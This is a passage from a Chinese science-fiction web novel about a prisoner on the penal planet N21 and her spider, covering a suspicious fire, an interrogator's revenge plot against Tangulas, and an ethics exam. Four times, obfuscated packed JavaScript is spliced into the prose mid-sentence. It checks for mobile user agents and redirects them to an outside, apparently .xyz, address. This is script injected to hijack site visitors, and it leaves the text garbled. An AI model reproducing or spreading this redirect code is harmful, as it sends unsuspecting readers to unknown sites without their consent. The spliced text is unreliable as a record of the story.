除非他们想看着自己的住处被烧个一干二净,不然他们只能选择乖乖去打水救火。 前往河堤的路上,古德奈显得异常文静。 路麦有些担心:“你不舒服吗?头晕,还是别的什么……”她怕刚才的处理不够到位,由炎症引发了高烧。 古德奈摇摇头,小声道:“电器短路,你不觉得奇怪吗?” “有什么好奇怪的?大概真的和某些人猜的那样,有人私藏电器了吧。”路麦说着,不动声色地将左手藏到口袋里。她不相信终端在这种情况下依旧能够清晰地收录到她的声音。 正义之士突然说道:“私藏电器可不是那么简单的事。你不知道吧,在我们出门参加劳动的时候,管理局会不定期检查每个人的房间。” 这确实超出了路麦的知识储备,但没有让她感到过分意外。连全天候监听设备都让他们戴上了,查房必然不会落下。 倒是古德奈啊了一声。大概是想起了他曾经偷偷私藏的那群蝌蚪。 路麦问:“随身携带呢?” 正义之士说:“你以为工厂门口的那些安检机器是吃素的吗?上下班都得过一遍,不会有漏网之鱼的。” 路麦想了一下,发现确实如此。“你是说管理局隐瞒了火灾的真正成因?” 如果是这样,他们必然有这么做的理由。总不能是为了以捉弄这群身不由己的服刑犯为乐。 这时,古德奈插了进来:“还记得回宿舍路上撞到的家伙吗?” 路麦说:“被你揍了一通的那个?” 古德奈语出惊人:“我有一种预感,他就是那台‘短路电器’。他就住在我们这一片,我记得他。以及……” 正义之士问:“以及什么?” 古德奈诚实地回答:“他的短路没准就是我造成的。我打得太用力了,让他的机械脑发生了线路错位。机械脑也是会脑震荡的,有时候后果比真的脑震荡还严重。” 路麦的脑中浮现出人脑炸裂和人体自燃的景象,不由打了一个寒颤。 但这一连串事件的前后因果更让她感到毛骨悚然。 古德奈的直觉若是真的,那事情的发展流程便如下所述: 有一个半机械人跟踪他们去了RB3,在返回OA7的途中不巧被古德奈揍了一顿,揍成了脑震荡。当天夜里,这名半机械人因为机械脑短路自燃,造成了绵延整个片区的大火灾,而其本人,大概率在火灾发生之前就已经因为脑袋炸裂而死去了。 那家伙干嘛跟踪他们?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737230|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他最后会把跟踪获得的情报传递给谁? 真的能凭借在RB3偶遇的巧合推断出他在跟踪他们吗? 又或者,除了跟踪之外,没有更好的说法来解释这种巧合了——在RB3片区遇到来自OA7的人,这种可能性简直微乎其微。 路麦又想到了唐古拉斯。 那个半机械人会是唐古拉斯送到这里的监视器吗? 路麦没有因为古德奈平日里的脱线表现而无视他提出的可能性,反而因为他野生动物般的敏锐直觉而对这一看似无厘头的猜测十分重视。 更何况她没有找到能够否定这一猜想的证据,便有动机将它视为真的。 走在前面的人群逐渐放慢了速度,耳畔传来水流的响声。 打水的河堤到了。 岸边堆放着大量水桶,从触摸时沾到的一手灰可以推断,这些水桶并非临时被拉到这里,而是很久以前就被堆在这里的。看来N21还使用着与眼下这个时代完全不符的古老过头的救灾应急系统。 在大多数服刑者还在不情不愿地挑挑拣拣的时候,路麦已经拎了两个水桶走到河岸边,手脚利落地浸满两桶水。 古德奈则忙着给他干枯的两栖缸添水。两栖缸里的水原本就加得不多,又在火场中蒸发了不少,在医务室的时候,他就一直在担心伊芙宁会不会干死。 确保了缸里的水量之后,他转身去选水桶。 路麦拦住他:“你现在没法一手抱缸一手拎桶,我帮你提了。” 古德奈露出了意外又没那么意外的表情,嗫嚅着说了声谢谢。 他是个适应性很高的人,正在对来自路麦的好心帮助感到习以为常。 路麦不反感帮他做这些事。 两桶水对她的体能来说不过小菜一碟。况且古德奈的所作所为,极有可能在无意间帮她解决了一个隐患。 在一众服刑犯的连夜努力之下,片区的大火终于被扑灭了。 管理局再次给出更加详细的起火原因,据说是电器零件老化导致起火,火星炸到了墙壁后面的输电线路,这才使火灾成片地蔓延开来。 没有接受过教育的服刑犯以及放弃思考的服刑犯毫无芥蒂地接受了这个说法,因为管理局居然因为此次失误而给OA7片区的所有居民减刑一万年。 但稍微有些常识并且仍抱有理性的服刑犯则不这么想。管理局主动提出给服刑者赔偿,这简直是如同天方夜谭般的故事。而事出反常必有妖。 更何况什么零件老化,什么火星炸坏线路,听起来实在像是毫无电工知识的人随口编造的说法。而胡编乱造,往往是为了掩盖什么。 以上种种,让路麦觉得古德奈的猜想愈发接近真相。 她之后接连观察了好几天,再也没有在OA7片区见到过那个出卖了右脑的半机械人。 但在事情有明确的答案之前,她始终感到心神不宁。 她甚至会考虑一种可能性,即那名半机械人也许不是她的敌人,而是友军的可能性。 38. 主审官 * 关于整理火灾的事件报告,卫琅前后秘密安排了七名管理员独立负责,从回收上来的内容来看,这七人中至少有四人的立场很有问题——他们在刻意隐瞒真相,以避免调查重心被落在那个半机械人身上。 在此期间,通过破解一〇八的终端内容,卫琅可以确定他就是外部势力安插在N21的一颗棋子。 只是他和外部对象的联络内容只涉及工作往来,虽然从工作内容来看,他所属的组织应该就是唐氏集团,但没有确凿的证据。 而死于火灾的那名半机械人,从他的终端同样可以获取与外部对象的通讯记录。 这两人的近期工作目标都与OA7W有关。 一个是设法将OA7W偷渡出去,另一个是定期汇报OA7W的动向。 OA7W作为被盯上的猎物,却总是能够幸运地避开一些危险。 或许将她当成诱饵,可以挖出一串不干净的人? 食指无意识地敲打着桌面。 震动的终端打断了思考。 通讯应用的界面中,显示的是一条来自管理员一〇二的汇报内容。 管理员的队伍实际上鱼龙混杂,卫琅在这里还没有能称得上是亲信的人,只能尽量将重要的工作安排给已经排除怀疑的职员,一〇二也是其中之一。 此人酷爱机甲,对卫琅将他调离驾驶执照监考官一职的打算颇为排斥,但表示愿意兼职,所以目前在继续担任监考官的同时,还要负责处理由卫琅直接下达的指令。好在驾照监考官的职务本身就闲得要命。 “征兵?” 卫琅看着来自一〇二的消息,不满地皱起了眉头。 管理局中,有人和军方牵线搭桥,达成了一项提供兵源的协议。 说辞是:仿生人的军队最近很猖獗,军方正在紧急募集兵源,我们刚好给他们送点人手,提升一下在军方那边的印象。 放在以往,这种事情并不值得注意,兵役相关的事务本来就不由狱长直接对接和负责,而是由专门的部署和军方联络,不定期发布兵役任务。 一〇二送来的情报显示,这次发布的兵役任务中,存在强制报名的现象。这也不是重点,在主动报名服役的人数没有达到下限时,强制某些服刑者上战场的事也是久已有之。 问题是,强制服役的名单上,OA7W赫然在列。 卫琅不觉得这是偶然。 OA7W还没被挂上饵钩,就已经钓出了大鱼。 在N21,服兵役等同于上战场,上战场就意味着暂时要离开N21的管理范围。 是想趁着战场一片混乱的时候把OA7W给带走吧? 人口走私的渠道已经基本被堵死,所以要另辟蹊径了是吧? 看来负责兵役的部署也需要好好调查一番。 既然已经看破了他们的计划,自然也就不能让他们得逞了。 * 距离火灾发生已经过去了一周,OA7被恢复到能够正常居住的水平,只是那些被大火销毁的电子宠物们不会死而复生。 从劳动现场归巢的路麦在居所门口看到了熟悉的面孔——一周前往她脑袋上套了黑色麻袋并把她架去审讯室的西装男,也是从审讯室将她押解回独房的那个人。 “主审官要见你。”他在路麦犹豫着要不要转身逃跑的间隙三两步跨上前来,捉住她的肩膀,成功封印了她的行动自由。 路麦垂头丧气,在邻居们熟视无睹的冷漠中等待黑色罩头麻袋的降临。 眼睛再次见到光线的时候,她已然身处那间冷冰冰的审讯室。 还是那盏经过精心设计的顶灯,以及那个淹没在光线中的神秘的主审官。 手下在完成押送使命后立即功成身退,审讯室里只剩下主审官和服刑犯两个人。 路麦浑身僵硬地站在令人不安的灯光中,警惕地打量着面前的模糊人影,思考他把自己喊到这里来的目的。 无论怎么想,答案都指向那个在管理局看来至今下落不明的一〇八号员工。 对此,路麦早就做好了打死不承认的心理准备。 他们没有证据。也没有能够找到证据的苗头。只要她一口咬定,他们就拿她没有办法。 除非他们不讲道理,要来一个欲加之罪。 最糟糕的情况,就是让路西法把主审官也化成一滩绿色脓液。 可是这里没有能够销毁证据的下水道。 主审官从桌子后面站了起来,然后绕过桌子,向前走了一步。 室内的光线仿佛瞬间起了变化。 那总是一片模糊的身影像是缓缓浮出水面的尸体一样变得清晰起来。 算上自己栖身的这具躯体,眼前是第二具让路麦想用“尸体”这一名词来形容的活着的肉身。 泛着铁青的苍白皮肤看不出一丝光泽。 虹膜像是用黑笔涂成的圆片,同样看不出光亮。 浅淡稀疏的眉毛。如同用线缝合过似的,干涸的嘴唇。 以及那没有头发的、如外星生物般崎岖不平的头顶。 他看上去下一秒就将因为虚弱而死,要不就是刚刚从地里刨出来还没过多久。 他又向前走了一步。 而路麦忍不住向后退了一步。 她丝毫不怀疑那个男人会用骨瘦如柴却力大无比的手拧住她的肩膀、扳住她的脑袋,然后在她的颈动脉上狠狠咬出一个缺口,因为他微张的嘴唇中露出了两颗锋利异常的犬齿。 主审官没有对她的反应表现出任何愠怒,他伸出手,动作就像好斗的虾用螯肢发动攻击时一般迅速。 他抓住囚犯的左腕,提到自己眼皮底下,面无表情地在那只左腕佩戴的终端上进行了一番操作。 咔嗒一声,腕带解开了。 他又若无其事地将那玩意儿放到办公桌上,接着更加逼近他的犯人,嚅动着他沟壑纵横唇部。 “我有一个问题,希望你能够如实回答。我可以保证,无论你说什么,都不会遭受任何形式的惩罚。从现在开始你所说的话,不会被除你我之外的第三个人听到。” 路麦僵硬地点了点头,理解了他刚才那个行为的用意。这也证实了终端确实具备监听功能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742585|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她忽然意识到N21的管理局不是一个严丝合缝的组织。岂止如此,甚至可以说是漏洞百出。 现在站在她面前的这个人,就是一块可以撬动的铁板。 主审官问:“一〇八,那个你在候考区见过的监考官,到底去了哪里?” 路麦皱了皱眉。她所预料的并不是这种预料之中的问题。 若是为了这个问题的答案,主审官没必要冒着风险取下她的终端——她不是特别确定,但隐约认为这是一种需要承担责任的决定,而主审官看起来不是在N21拥有最高权限的存在。 “我不知道。”她说。 说这话的时候,她非常坚定地盯着主审官的眼睛,表情没有一丝动摇,没有透露任何她在撒谎的迹象。 主审官的脸上闪过一缕不易觉察的失望。他沉默地注视着犯人。 这种注视让路麦感到不舒服,因为她发现他没有在看她的眼睛,也不是在观察她的面部表情。 他的视线在缓慢地移动,从她的脖子一路向下,像是要穿透囚服那层薄薄的布料,看清她皮肤上的千疮百孔。 那不是一种带有欲望的眼神。 非要形容的话,是在寻求认同。 就像是一个极端内向的人破天荒地在众人集会的场所发言之后,场面瞬时冷却,而后无助地在人群中寻求支持者的眼神。 “我在N21的代号是肆拾壹,”他又开口了,“而我的真名……吕悖戈。” “吕悖戈先生,我不明白。”路麦战栗了一下。 她不觉得在这种情况下知道此人的真名有何意义,反倒是想起了那条成文的规定——不可透露真名。她甚至想到了某个总是出现在虚构故事里的经验之谈——知道的越多就越不安全。 “我还有另一个代号,367。不过那是很久以前的事了。” 路麦仍不明白。但路西法却意外地有了一些反应。 路麦能感觉到它正在缓缓爬向她脖颈的左侧。 她猜想它或许正借着她头发的掩护窥探着主审官的模样。 她的注意力暂时被蜘蛛吸引了,没有发现主审官又一次表现出的失望。 直到他说:“实验体367。” 路麦这才用力眨了一下眼睛,将注意力转回到这个奇形怪状的男人身上——在知道他为何看起来如此怪异之后,再用这个形容词就有些失礼了。 “678,能从那个地方活着出来的个体不多,我们的代号相差三百一十,但这三百零九人里,活着离开那里的大概也就只有我们两个。” 路麦问:“你过去也是服刑者?” 主审官说:“你是在经历终极实验后有幸存活下来的个体。而我是个逃兵。逃出实验室后,我有幸被人收养。收养我的人背后有些势力,挡住了唐古拉斯派来的追兵。” 路麦说:“听起来是一个跌宕起伏的故事。” 尽管主审官将所有细节一带而过,但不管是逃出实验室还是成为大人物的养子,这其中值得大书特书的内容想必不少,编纂成册的话,没准能成为某年的畅销书。 39. 痉挛 主审官对那时的事不想多提,他用不变的目光注视着犯人:“我已经展示过自己的诚意了。现在我可以知道一〇八的下落了吗?” 如果他的提问与那家伙无关,说不定路麦早就知无不言了。 可他如此执着于同僚的去处,路麦便不得不考虑这是管理局为了让她放下警惕而布置的陷阱。 捏造相似的经历而骗取亲近感,这和为了套近乎而假称是老乡的销售员有什么区别? “您的分享让我感到受宠若惊。但我真的不知道那个人的去向。”路麦一口咬定。 主审官闭上眼睛,虽然他喜怒不形于色,但浑身却散发着低落的气场。 他叹了一口气,然后微微躬身,将脑袋凑近路麦的耳边,低声说道:“我想复仇。向唐古拉斯。” 那话声极轻,但在路麦听来却有如雷贯耳的效果。 她的肩膀跳了一下。 “这和那位管理员的下落有什么关系?” “我看过监控。他一直没有离开公共卫生间。就好像消失在了那里。我想知道你是怎么让他消失的。”主审官决定不装了,“我很需要那种不会留下痕迹的杀人方法。” 他的语气甚至有点辛酸。 这个人想要唐古拉斯不得好死。 ——如果他此时的表情不是演戏的话。 可惜他目前尚未掌握与那个科学狂人决斗的实力。 他只是有幸得到了一个大户人家的庇护,才得以躲过唐古拉斯的追捕,得以在这个偏远的流放地获得一个安逸的工作。 可他是怎么获得那种庇护的? 他看起来并不聪明绝顶,外表更是惨不忍睹,若被放在福利院,他看起来是那种永远都不会获得领养者青睐的孩子。 他是怎么混进一个有权势的人家,并且成为他们的养子的? 他果然是在胡说八道?还是这个世界真正达成了审美的多样性? “你难道能够原谅唐古拉斯对你所做的一切?”主审官看到路麦迟迟没有回应,声音里掺入了一丝焦躁。 路麦深吸一口气:“我不会原谅唐古拉斯的,但我真的不知道一〇八去了哪里。” 主审官那本就无神的眼看上去更像是死了一样。 他退了几步,从办公桌上拿起终端,再次将它启动,然后死气沉沉地把它套回路麦手上。 他的指尖凉得不像活人该有的体温。 接着,他按下桌上的一个按钮。 几秒钟后,西装男手下敲门进入审讯室,再次为路麦戴上了黑色头罩。 在被押回独房的路上,路麦将刚才发生的一切仔细梳理了一番。 综合分析主审官那些微乎其微的表情,以及他说话时的语气,路麦认为他的言行并非演戏,他的经历也并非谎言,他是唐古拉斯的受害者,同时也是靠荫蔽得到工作的关系户——而这也是路麦没有将一切如实相告的原因之一。 他看起来好像是个人物,但实际上立场并不稳固,他没有与唐古拉斯正面抗衡的力量,也没有在N21的绝对话语权。 他不能绝对保护路麦在N21的人身安全,路麦自然也就无法放心地将秘密托付给他。 毕竟这不仅事关她自己的性命,还关系到路西法的。 * 吕悖戈,或者说肆拾壹,对火灾之后发生的连锁反应感到喜忧参半。 天狱检察官在调查OA7片区的事件时,发现了某种外部势力正在对N21进行渗透的端倪,在火灾中丧生的半机械人就是与此相关的牺牲品。 N21的安全性遭到动摇。这是不能容忍的事情。 作为收容除死刑犯以外来自各星球犯罪者的流放地、一座声名远播的星际监狱,N21在主流社会中并不为人称道,但也有其自己的荣誉和尊严,而“刚正不阿”正是构成其名誉的重要一环。 这并不是说在N21任职的管理员们有多么两袖清风,而是意指作为一片流放地,N21独立于星际社会的任何一种势力,没有政治倾向性,甚至对所有服刑犯一视同仁——不管原本的罪行如何,只要踏入这片土地,便会平等地背负一百万年的刑期。 一旦这颗星球、这个宝贵的独立流放地被某个外部势力控制,那么,数以千百万计的服刑者立刻能够化身一支高素质军队,并通过暴力迅速改变星际社会的□□势。 只不过此处提到的“高素质”并不意味着所有服刑者都拥有高超的战斗技能和战争经验,而是说他们在进行劳动改造中被驯化出来的高度服从性。 对于战场的指挥者来说,高度服从性可是一种重要且珍贵的品质。 只要有钱,就能把一群战斗白痴武装到牙齿,使他们变得无坚不摧,成为在理论上具备相当战斗力的兵卒。 然而一名兵卒若是没有服从性,那他就是一颗定时炸弹,战斗力越强,爆炸时产生的危害越大,这危害不仅是对敌人的,也会波及自己。 N21必须竭力避免自己的立场遭到动摇,而天狱检察官近期的调查结果则冲击了这一准则,这是让人感到担忧的地方。 而肆拾壹之所以会在暗中感到侥幸,则同样是因为检察官的调查结果——企图渗透N21的外部势力不是别人,正是他想要生吞活剥的唐古拉斯和他背后的那家实验室。 这意味着N21必然要采取一些手段去对付唐古拉斯。 他说不定能从中找到复仇的机会。 一想到这点,他那冰凉又阴暗的血液便几乎要沸腾起来。 “这是狱长送过来的报告,里面有一份名单。”联络员将一份纸质文件送到肆拾壹的办公桌上。 肆拾壹不得不暂时按捺情绪。 电子文档固然有传输方便的优点,但难以被篡改的白纸黑字更有存证的价值。 “什么名单?”他接过文件翻了几页,看到了一长串四位代码,每个代码背后都是一名服刑者。 “强制服兵役者的名单。” 肆拾壹一眼就看到了OA7W,那个他想拉拢并利用的囚犯的代号。“谁定的名单?劳动署的那些人,还是狱长?” “劳动署。” 劳动署是整个管理系统重卧底最多的地方,肆拾壹根本不怀疑这是唐古拉斯打算趁乱截走OA7W计划的一环——他确信事情就是这样。 肆拾壹正要想办法将OA7W捞出来,随即发现其实没有必要。 他知道那位年轻的狱长最近有志清算埋伏在N21的黑色势力,也就是唐氏安插的大量卧底。 “狱长有什么指示吗?” 如果N21愿意使出全力与唐古拉斯对抗到底的话,他就没必要纡尊降贵地花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745519|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思在服刑者之间找一个盟友、或者说暗杀者了。 联络员说:“狱长往名单里塞了一些可疑的服刑者。她不打算和唐氏发生正面冲突。” 肆拾壹睁大眼睛:“你说什么?!” “现在我们的力量还不足,所以要厚积薄发。”联络员在叙述时生动地模仿了狱长的语气。 肆拾壹有些疲倦地闭起眼睛。“她想不动声色地一点点清理掉唐氏的人,又能在军方那里顺便献个殷勤,真是一箭双雕的好主意。”他的语气带着不易觉察的讥讽。 联络员的声音听起来洋溢着喜气与敬佩之情:“狱长总是那么深谋远虑。” “是啊。” “主审官有什么信息要传达吗?没有的话我就先走了。” 肆拾壹想说什么,但最后还是摆了摆手,示意他离开。 等联络员的身影消失,他随即按下桌子上的按钮,招来自己信赖的部下。 身穿黑色西装的手下从门外现身:“有什么吩咐吗,主审官?” 肆拾壹说:“明天,我还要再见OA7W一次。” * 在接连数次A1考试失败之后,路麦决定把计划中的下一项考试先提上日程。 她终究还是不能任由一门考试拖累她整体的考证进度。 人类心理伦理认知等级考试。该考试所指定的教材中就包含路麦最近在看的那本心理学大作。 只是不知考试主办方是出于何种目的才会将心理和伦理两个项目放在一起,总不能是因为其中都带有一个理字。 但考虑到这是仿生人鉴定资格的前置考试,又觉得这种合并方式并非没有合理之处。 “试题42:如果一名人类个体拥有特异体质(例如远超正常水平的体能、智力或免疫力等),该个体应该将自己的身体奉献给促进人类进步和进化的事业,允许科研机构对其进行全方位测试和研究。” 路麦坐在考位上,用谁也听不到的气音念着考题。 她觉得头顶有些痒痒的,大概是她的宠物正在进行一些活动。 她没有太过在意,努力将注意力集中到眼前的考题上。 一团黑色的东西突然从她头顶掉了下来。 路西法坠落在考位的桌面上,发出轻微的啪的一声。 它那错综复杂的八条腿蜷在一起,看上去像死了一样。 路麦正在做题,只将视线飞快在桌面上扫了一眼便又回到屏幕。 但下一秒,大脑终于从对考题的思索中切换到分析刚才发生的事。 她的肩膀猛地抖了一下,鼠标跳跃着在选项上做出了抉择,手指不知该先去查看蜘蛛的状况,还是应该点选“下一题”,竟在短时间内出现了一阵痉挛。 喂!不会吧! 这才哪到哪,它这就寿终正寝了? 等一等,难道它在成为宠物之前就已经活了很久了? 失算了! 不行,它还不能死! 路麦愕然无措地看着蜘蛛那僵硬的身体,脑中瞬间闪过无数个念头。 而其中最关键的一个,就是她还不能失去它。 它固然有令人恐惧的隐藏属性,但也是她在近乎一无所有的状态下唯一拥有的一件强力杀器。 在这个她难以保护自己的地方,她不能失去它。 40. 罔顾 她想到了自己。 …… 蜘蛛并没有死去。 它回忆起了它还是人类时的某种感受,心惊肉跳、呼吸急促、神志恍惚、汗流浃背…… 腹部如同刀绞,肢体像被活活切割,大脑如同溶解。 生不如死的痛觉永远、永远地停留在它的记忆中,并时不时就会出现,对它进行无情的鞭笞。 过往的一切都显得暧昧不清,唯有那种痛苦清晰得纤毫毕现。 它没有死,但它觉得自己马上就要死了。 它甚至没能弄清这一切是怎么发生的。 毕竟它是一只脑容量有限的蜘蛛。 如果有一个了解这只蜘蛛的前尘旧事的存在,便会想到,眼下发生在它身上的是一种应激反应。 但那种存在并不存在,它只能作为一只蜘蛛,独自承受这本不会被它这类生物感知到的痛苦了。 它仰天倒在冰凉的桌面上,八只眼睛带来的视角第一次让它感到头晕目眩。 它想吐,但一只蜘蛛怎么吐呢。 它又看到了那双让它感到烦躁的眼睛。 那双眼睛正无措地看着它,好像它已经死了一样。 不。 它混沌的思绪大吼着这个音节。 它还不能死。 可是选择活下去,就必须承受这样的痛苦吗? 它徒劳地望着上方。 边缘模糊的视线突然捕捉到了一个“否”字。 “试题42:如果一名人类个体拥有特异体质(例如远超正常水平的体能、智力或免疫力等),该个体应该将自己的身体奉献给促进人类进步和进化的事业,允许科研机构对其进行全方位测试和研究。” “否” 怎么会是“否”呢? 令它痛苦万分的记忆正在强烈地叫嚣着答案,而那种只存在于幻觉中的尖啸进一步加重了它的负担。 它猛地“睁大眼睛”,死死地盯着构成这个文字的像素。 突然,视线变得清晰起来。 撕裂身体般的痛苦如潮水般渐渐退去,呼吸和心跳渐趋平稳。 与室温同化的身体被一种温暖的触感包围。 “路西法,你没事吧?” 熟悉的声音传来。那是“它”的声带发出的声音。在绕过头骨的固体传播后,那声音总会让它觉得有些失真。 那是它的声音,可现在却不属于它了。 它伸展开复杂的肢体,在掌心的褶皱上借了一点力,将自己翻转过来。 痛苦消失了。 它还活着。 它从那温暖的掌心跳到电脑屏幕上,围绕着某个中心躁动地转起圈来。 …… 路麦不解地看着蜘蛛的动作。 她知道这是一只聪明的蜘蛛,它不会无端进行毫无疑义的运动——比如在突然假死之后又开始在屏幕上绕圈。 “你想说这题选‘是’吗?”她觉得这是最合理的一个解释,因为那个选项就位于蜘蛛爬行轨迹的中央,“不会吧……” 她将鼠标放到“下一题”上。 蜘蛛开始进行原地跳跃,甚至在碰撞屏幕时发出了砰砰的声音。 路麦犹豫了一会儿,将“否”改选为“是”,又佯装点击“下一题”。 蜘蛛没有反应。 将“是”改为“否”,再点“下一题”。 蜘蛛开始愤怒地(在路麦看来)跳跃。 路麦觉得自己的猜测没错,路西法确实在提示她改选。 可是这真的符合社会伦理吗? 再不济,也应该遵循对象个体的意愿,而不能惘顾其意志地将其作为研究的被试。 就像…… 路麦的思维突如地停滞了一下。 她想到了自己。 确切点,是这具身体的原主人——他不就是与这道题干所描述的状况如出一辙的“拥有特异体质的人类”吗? 也就是说,唐古拉斯曾经对这具身体所做的一切,其实是合法合规合乎伦理的吗? * 试卷由智能阅卷系统进行批改,主观题的答案也全由人工智能进行判定。 考试结束,只需等待大约十秒,系统便会即时给出成绩。 路麦看着屏幕上明晃晃的三位数字,心情难免复杂。 满分,100分。 她已经报名参加过不少考试。 和“需要通过大量练习才能有所提高但这里根本没有练习机会”的“操作考试悖论”不同,卷面考试都有确切的大纲,只要切实掌握考纲列出的条目,得到满分不能说是十分稀罕的事——尤其是她现在拥有一颗明显智商偏高的大脑。 但这一科的满分不一样。 不容易拿到所有分数的主观题的存在只是原因之一。 更重要的是这个100分证明了路西法提示的那个答案是正确的。 说明了唐古拉斯对“他”所做的一切是不会被法律制裁的。 这个世界的伦理道德和她一贯以来的认知相去甚远,乃至背道而驰。 不过事到如今,再为这种差异性感到大惊小怪就有些不合时宜了。 比起骇人,她感到更多的是沮丧。 她早该认识到这点。 路麦拿着打印好的成绩单回执去一楼大厅办理证书,排队的时候一直有人在她身后小声讨论,那种鬼鬼祟祟的动静令她感到很不自在。 她装作无意地回头一瞥时,偶然发现那些人极有可能在讨论自己。 因为在她回头之前,他们显然一直盯着她,直到撞上她的目光才心虚地避开。 然而过了一会儿,她的终端收到了信息。 她的减刑系数提升了,原因是她的宠物接收到好奇和善意的情绪。 而那些一直对她指指点点的人也终于按捺不住了,排在她后一位的女孩儿拍了拍她的右肩,然后指指她的头顶,有些拘谨地问道:“我猜那是你的宠物?” 路麦能感觉到压在顶发上的细微的重量,于是点点头:“它是一只跳蛛。” 她将蜘蛛接引到自己的掌心,让女孩能够清楚地看到那是一只活物。 女孩展露出一个兴奋的笑容,推搡一下自己的同伴:“你看,我就说吧。”又回过头向路麦解释:“我们刚才在打赌,他说那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772901|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是企图在你脑袋上做窝的野蜘蛛,我说那是你的宠物。它真的是!” 女孩的同伴——一个看上去比她大了好几轮的老大爷,因为输了打赌而显得有些讪讪,“吃得消养活物的人可不多,更何况还是蜘蛛——这东西又养不熟,没意思。” 三人的谈话似乎引起了周围人的注意,越来越多的人将视线投向这只罕见的活宠,站得近的索性凑了过来,站得远的人没法看清那团灰色的虫子,只能通过一些口耳相传来获取情报。 “蜘蛛怎么养?它们能认主吗?可以交互吗?能学习命令吗?” “不能提供情绪价值的宠物不是好宠物。” “它会捉虫子吗?会在房间里乱结网吗?它平时吃什么?” “只是想不花一分钱地开通饲主的身份罢了。” “这只蜘蛛还挺可爱的。” 有人不知从哪里掏出了一把手持放大镜,悬在蜘蛛的脑袋上观察起来。 那像装饰品一般点缀在脑袋周围的六只副眼,以及乌黑滚圆的主眼被一清二楚地呈现在众人眼前。 谁也不会知道一只蜘蛛脑袋里会想什么,但由豆豆眼造成的可爱感官和伦理标准不一样,在哪个世界都很通用。 不管它脑子里究竟有没有邪恶的念头,至少它看上去无辜极了。 有人吹了一声口哨。 人群开始起哄。 考试中心的大厅突然变得嘈杂起来。 在其饲主眼里,路西法显得有些紧张,因此当没有太多分寸感的人伸手想要捏一捏这只脆弱的小生灵时,路麦一下子攥起了拳头,将蜘蛛用自己的手指遮掩起来。 终端没有再收到减刑系数提升的信息,如果不是因为每天的增长量有上限,就说明这里的大多数所展现出来的好奇心并不带有正面情绪,要她来说,或许更偏向于猎奇。 同时,她也担心这种来者不善的情绪是相互的,如果这些人的吵嚷惹恼了这只大魔王,这片拥挤的大厅没准会在几刻钟之内变成绿色胶体的海洋。 她能感觉到蜘蛛身体上的茸毛正轻轻地抵触着掌心的皮肤——她手掌的皮肤因为劳动而变得坚硬起来,并不意味着那里的触觉有所衰退。 她的掌心依旧敏感,被那种细密的剐蹭感弄得发痒,她几乎要以为自己攥住的是一只毛绒玩具。 这时候她突然意识到,自相遇以来,路西法长大了不少。 那时候它大概只有食指的指甲盖那么大,但现在已经超过了大拇指的指甲盖。考虑到它是一只立体生物,实际的视觉效果甚至还要更大一点。 所以当它趴在她头顶的时候,变得很容易被人发现。 它说不定还没有意识到自己的这种体型的变化。 路麦走出考场的时候,第一时间就看到站在道路对面的那条黑色身影,不禁开始怀疑自己一直没能通过A1考试是否和这些人有关——就是因为他们总往她头上套黑色麻袋,才导致她总是失败的。 他们一定不知道这其实是多此一举。 她通过前两次的往返,已经大致推断出了审讯室的位置。但为了不惹是生非,她总是表现得十分配合。 41. 结盟吗 大约半个钟头之后,路麦又见到了长相类似冷藏外星人的主审官肆拾壹。 他还是躲在特别设计的光线之中,当他的手穿过那片光芒的时候,总让人以为一具僵尸将要从墓穴中起身。 他将一份红头文件推到服刑犯能够看清的位置,“你会被送上战场。” 路麦的表情没有发生什么变化,但那抽动了一下的轮匝肌还是暴露了一些情绪。 手册上的确提到过兵役是减刑的重要手段。 将囚犯送到战场上充当炮灰也不算什么稀奇事。 只要她还是N21的囚徒,她就没法决定自己的命运。 但是,既然肆拾壹把她单独叫到这里,并提前告诉了她这件事,必然是有什么用意的。 而且,那个用意还相当好猜。 “我可以让你的代号从名簿上消失。只要你答应和我结盟。” 又是结盟。 她和古德奈结下过减刑互助盟约,难不成现在还要和这个外星人结一个复仇者联盟? 路麦在心里莫名暗笑了一下。 